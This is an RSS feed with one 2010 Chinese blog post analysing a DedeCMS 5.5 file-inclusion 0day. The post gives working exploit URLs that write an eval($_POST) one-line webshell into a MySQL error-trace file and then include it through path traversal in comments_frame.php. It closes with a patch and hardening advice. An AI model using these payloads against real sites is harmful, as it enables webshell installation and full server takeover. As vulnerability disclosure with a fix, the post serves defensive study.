<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>阿彻和阿彻的博客 &#187; 漏洞</title>
	<atom:link href="http://www.acheblog.net/archives/tag/%e6%bc%8f%e6%b4%9e/feed" rel="self" type="application/rss+xml" />
	<link>http://www.acheblog.net</link>
	<description>一切皆有可能</description>
	<lastBuildDate>Fri, 09 Sep 2011 09:40:09 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>DEDECMS5.5 0DAY漏洞文件分析</title>
		<link>http://www.acheblog.net/archives/589</link>
		<comments>http://www.acheblog.net/archives/589#comments</comments>
		<pubDate>Thu, 20 May 2010 17:26:15 +0000</pubDate>
		<dc:creator>阿徹</dc:creator>
				<category><![CDATA[网站制作]]></category>
		<category><![CDATA[0DAY]]></category>
		<category><![CDATA[dedecms]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.acheblog.net/?p=589</guid>
		<description><![CDATA[此漏洞非常严重，可直接获得webshell。
inculde/datalistcp.class.php 第十行预览源代码打印关于1 require_once(DEDEINC.&#8221;/code/datalist.&#8221;.$codefile.&#8221;.inc&#8221;);
同时，inculde/dedesql.class.php 中预览源代码打印关于1 $errorTrackFile = dirname(__FILE__).&#8221;/../data/mysql_error_trace.inc&#8221;;
$codefile没有做过滤。
我们可以用datalistcp.class.php 包含mysql_error_trace.inc 执行PHP脚本程序。
利用方法：
www.sitedir.com.cn/plus/digg_frame &#8230; d&#38;id=1024e1024&#38;mid=*/eval%28$_POST[xxxxx]%29;/*
写入一句话后门
后门地址：
www.sitedir.com.cn/plus/comments_frame.php?needCode=gb2312.inc..\..\../../data/mysql_error_trace用一句话客户端连接
密码是：xxxxx
修补方案：
将inculde/datalistcp.class.php 第十行预览源代码打印关于1 require_once(DEDEINC.&#8221;/code/datalist.&#8221;.$codefile.&#8221;.inc&#8221;);
替换成：预览源代码打印关于1 //require_once(DEDEINC.&#8221;/code/datalist.&#8221;.$codefile.&#8221;.inc&#8221;);
2 $lang_pre_page = &#8221;上页&#8221;;
3 $lang_next_page = &#8221;下页&#8221;;
4 $lang_index_page = &#8221;首页&#8221;;
5 $lang_end_page = &#8221;末页&#8221;;
6 $lang_record_number = &#8221;条记录&#8221;;
7 $lang_page = &#8221;页&#8221;;
8 $lang_total = &#8221;共&#8221;;
或者将$codefile直接替换成gb2313 utf-8等
总结：
之前一直以为inculde/dedesql.class.php  可以创建一个mysql_error_trace.php 并写入后门，后来测试下，发现不行。
然后找了inculde/datalistcp.class.php这么一个玩意。plus/comments_frame.php 是用来注册DEDEINC这个变量，否则不好使。
我这里给大家个建议 把PLUS里面的文件用不到的统统删除 尤其DIGG_ 2个文件
6月 2, 2010 -- dedecms关于保存当前栏目更改时失败,请检查你的输入资料是否存在问题 (0)dedecms升级之后，有可能会出现这种情况，在修改栏目的时...4月 20, 2010 -- DEDE&#8221;模板文件不存在，无法解析文档&#8221;的解决办法，已验证 (0)使用dedecms后台更新文档的时候，出现这个问题"模板文件...4月 3, 2010 [...]]]></description>
			<content:encoded><![CDATA[<p>此漏洞非常严重，可直接获得webshell。<br />
inculde/datalistcp.class.php 第十行预览源代码打印关于1 require_once(DEDEINC.&#8221;/code/datalist.&#8221;.$codefile.&#8221;.inc&#8221;);<br />
同时，inculde/dedesql.class.php 中预览源代码打印关于1 $errorTrackFile = dirname(__FILE__).&#8221;/../data/mysql_error_trace.inc&#8221;;<br />
$codefile没有做过滤。<br />
我们可以用datalistcp.class.php 包含mysql_error_trace.inc 执行PHP脚本程序。<br />
利用方法：<br />
www.sitedir.com.cn/plus/digg_frame &#8230; d&amp;id=1024e1024&amp;mid=*/eval%28$_POST[xxxxx]%29;/*<br />
写入一句话后门<br />
后门地址：<br />
www.sitedir.com.cn/plus/comments_frame.php?needCode=gb2312.inc..\..\../../data/mysql_error_trace用一句话客户端连接<br />
密码是：xxxxx</p>
<p>修补方案：<br />
将inculde/datalistcp.class.php 第十行预览源代码打印关于1 require_once(DEDEINC.&#8221;/code/datalist.&#8221;.$codefile.&#8221;.inc&#8221;);<br />
替换成：预览源代码打印关于1 //require_once(DEDEINC.&#8221;/code/datalist.&#8221;.$codefile.&#8221;.inc&#8221;);<br />
2 $lang_pre_page = &#8221;上页&#8221;;<br />
3 $lang_next_page = &#8221;下页&#8221;;<br />
4 $lang_index_page = &#8221;首页&#8221;;<br />
5 $lang_end_page = &#8221;末页&#8221;;<br />
6 $lang_record_number = &#8221;条记录&#8221;;<br />
7 $lang_page = &#8221;页&#8221;;<br />
8 $lang_total = &#8221;共&#8221;;<br />
或者将$codefile直接替换成gb2313 utf-8等<br />
总结：<br />
之前一直以为inculde/dedesql.class.php  可以创建一个mysql_error_trace.php 并写入后门，后来测试下，发现不行。<br />
然后找了inculde/datalistcp.class.php这么一个玩意。plus/comments_frame.php 是用来注册DEDEINC这个变量，否则不好使。</p>
<p>我这里给大家个建议 把PLUS里面的文件用不到的统统删除 尤其DIGG_ 2个文件</p>
<ul class="related_post"><li>6月 2, 2010 -- <a href="http://www.acheblog.net/archives/634" title="dedecms关于保存当前栏目更改时失败,请检查你的输入资料是否存在问题">dedecms关于保存当前栏目更改时失败,请检查你的输入资料是否存在问题</a> (0)<br /><small>dedecms升级之后，有可能会出现这种情况，在修改栏目的时...</small></li><li>4月 20, 2010 -- <a href="http://www.acheblog.net/archives/532" title="DEDE&#8221;模板文件不存在，无法解析文档&#8221;的解决办法，已验证">DEDE&#8221;模板文件不存在，无法解析文档&#8221;的解决办法，已验证</a> (0)<br /><small>使用dedecms后台更新文档的时候，出现这个问题"模板文件...</small></li><li>4月 3, 2010 -- <a href="http://www.acheblog.net/archives/466" title="dedecms 输入验证码错误解决方法">dedecms 输入验证码错误解决方法</a> (0)<br /><small>解决一：session 保存不成功，原因是目录没有写权限；怎...</small></li><li>7月 21, 2009 -- <a href="http://www.acheblog.net/archives/287" title="dedeV3.1、4.1升级到V53-GBK版 已验证成功">dedeV3.1、4.1升级到V53-GBK版 已验证成功</a> (0)<br /><small>以前在本地试过很多次都是现实数据库无法连接，搞得很郁闷，所以...</small></li><li>4月 13, 2009 -- <a href="http://www.acheblog.net/archives/254" title="关于DedeCMS的Parse error the tag 4 global’ is incorrect 错误及解决办法">关于DedeCMS的Parse error the tag 4 global’ is incorrect 错误及解决办法</a> (0)<br /><small>今天更新DedeCMS后台的时候，出现一大堆“Parse e...</small></li><li>12月 9, 2008 -- <a href="http://www.acheblog.net/archives/212" title="dedecms转移空间方法">dedecms转移空间方法</a> (0)<br /><small>首先：备份所有原空间根目录下的文件，用ftp就行。

第二：...</small></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.acheblog.net/archives/589/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

